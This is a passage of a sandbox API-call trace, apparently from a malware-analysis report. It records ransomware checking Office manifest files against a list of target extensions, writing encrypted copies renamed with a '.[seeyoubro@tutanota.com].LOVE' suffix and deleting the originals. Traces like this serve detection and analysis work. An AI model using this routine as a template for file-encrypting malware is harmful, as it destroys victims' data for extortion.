Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.232] lstrlenW (lpString=".dbf") returned 4 [0205.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.232] lstrlenW (lpString=".1cd") returned 4 [0205.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.232] lstrlenW (lpString=".jpg") returned 4 [0205.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.232] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.232] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0205.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.232] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1261) returned 1 [0205.232] CloseHandle (hObject=0x33c) returned 1 [0205.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.233] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.233] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0205.233] GetLastError () returned 0x0 [0205.233] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.296] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.297] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.297] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.297] SetEndOfFile (hFile=0x31c) returned 1 [0205.301] CloseHandle (hObject=0x31c) returned 1 [0205.301] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.301] SetEndOfFile (hFile=0x33c) returned 1 [0205.304] CloseHandle (hObject=0x33c) returned 1 [0205.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0205.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.306] lstrlenW (lpString=".doc") returned 4 [0205.306] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".docx") returned 5 [0205.306] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.306] lstrlenW (lpString=".pdf") returned 4 [0205.306] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".xls") returned 4 [0205.306] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".xlsx") returned 5 [0205.306] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.306] lstrlenW (lpString=".ppt") returned 4 [0205.306] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.306] lstrlenW (lpString=".zip") returned 4 [0205.306] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.306] lstrlenW (lpString=".rar") returned 4 [0205.306] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".bz2") returned 4 [0205.306] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".7z") returned 3 [0205.307] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.307] lstrlenW (lpString=".dbf") returned 4 [0205.307] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.307] lstrlenW (lpString=".1cd") returned 4 [0205.307] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.307] lstrlenW (lpString=".jpg") returned 4 [0205.307] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.307] lstrlenW (lpString=".doc") returned 4 [0205.307] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".docx") returned 5 [0205.307] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.307] lstrlenW (lpString=".pdf") returned 4 [0205.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".xls") returned 4 [0205.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".xlsx") returned 5 [0205.307] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.307] lstrlenW (lpString=".ppt") returned 4 [0205.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.307] lstrlenW (lpString=".zip") returned 4 [0205.307] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.307] lstrlenW (lpString=".rar") returned 4 [0205.307] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".bz2") returned 4 [0205.307] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".7z") returned 3 [0205.307] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.307] lstrlenW (lpString=".dbf") returned 4 [0205.307] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.308] lstrlenW (lpString=".1cd") returned 4 [0205.308] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0205.308] lstrlenW (lpString=".jpg") returned 4 [0205.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.308] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.308] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0205.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.311] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1261) returned 1 [0205.312] CloseHandle (hObject=0x368) returned 1 [0205.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.312] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.312] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0205.314] GetLastError () returned 0x0 [0205.314] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.490] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.490] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.490] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.490] SetEndOfFile (hFile=0x2d8) returned 1 [0205.490] CloseHandle (hObject=0x2d8) returned 1 [0205.491] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.491] SetEndOfFile (hFile=0x368) returned 1 [0205.492] CloseHandle (hObject=0x368) returned 1 [0205.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0205.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.493] lstrlenW (lpString=".doc") returned 4 [0205.493] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.493] lstrlenW (lpString=".docx") returned 5 [0205.493] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.493] lstrlenW (lpString=".pdf") returned 4 [0205.493] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.493] lstrlenW (lpString=".xls") returned 4 [0205.493] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.493] lstrlenW (lpString=".xlsx") returned 5 [0205.494] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.494] lstrlenW (lpString=".ppt") returned 4 [0205.494] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.494] lstrlenW (lpString=".zip") returned 4 [0205.494] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.494] lstrlenW (lpString=".rar") returned 4 [0205.494] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.494] lstrlenW (lpString=".bz2") returned 4 [0205.494] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.494] lstrlenW (lpString=".7z") returned 3 [0205.494] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.494] lstrlenW (lpString=".dbf") returned 4 [0205.494] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.494] lstrlenW (lpString=".1cd") returned 4 [0205.494] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.494] lstrlenW (lpString=".jpg") returned 4 [0205.494] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.494] lstrlenW (lpString=".doc") returned 4 [0205.494] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.494] lstrlenW (lpString=".docx") returned 5 [0205.494] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.494] lstrlenW (lpString=".pdf") returned 4 [0205.495] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.495] lstrlenW (lpString=".xls") returned 4 [0205.495] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.495] lstrlenW (lpString=".xlsx") returned 5 [0205.495] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.495] lstrlenW (lpString=".ppt") returned 4 [0205.495] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.495] lstrlenW (lpString=".zip") returned 4 [0205.495] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.495] lstrlenW (lpString=".rar") returned 4 [0205.495] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.495] lstrlenW (lpString=".bz2") returned 4 [0205.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.495] lstrlenW (lpString=".7z") returned 3 [0205.495] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.495] lstrlenW (lpString=".dbf") returned 4 [0205.495] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.495] lstrlenW (lpString=".1cd") returned 4 [0205.495] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0205.495] lstrlenW (lpString=".jpg") returned 4 [0205.495] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.496] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.496] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0205.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.496] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1261) returned 1 [0205.496] CloseHandle (hObject=0x368) returned 1 [0205.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.497] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.497] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0205.497] GetLastError () returned 0x0 [0205.497] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.655] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.938] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.938] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.938] SetEndOfFile (hFile=0x2d8) returned 1 [0205.938] CloseHandle (hObject=0x2d8) returned 1 [0205.939] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.939] SetEndOfFile (hFile=0x368) returned 1 [0205.940] CloseHandle (hObject=0x368) returned 1 [0205.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0205.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.941] lstrlenW (lpString=".doc") returned 4 [0205.941] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.941] lstrlenW (lpString=".docx") returned 5 [0205.941] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.941] lstrlenW (lpString=".pdf") returned 4 [0205.941] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.941] lstrlenW (lpString=".xls") returned 4 [0205.941] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.941] lstrlenW (lpString=".xlsx") returned 5 [0205.941] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.941] lstrlenW (lpString=".ppt") returned 4 [0205.941] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.941] lstrlenW (lpString=".zip") returned 4 [0205.941] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.941] lstrlenW (lpString=".rar") returned 4 [0205.941] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.941] lstrlenW (lpString=".bz2") returned 4 [0205.941] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.941] lstrlenW (lpString=".7z") returned 3 [0205.942] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.942] lstrlenW (lpString=".dbf") returned 4 [0205.942] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.942] lstrlenW (lpString=".1cd") returned 4 [0205.942] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.942] lstrlenW (lpString=".jpg") returned 4 [0205.942] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 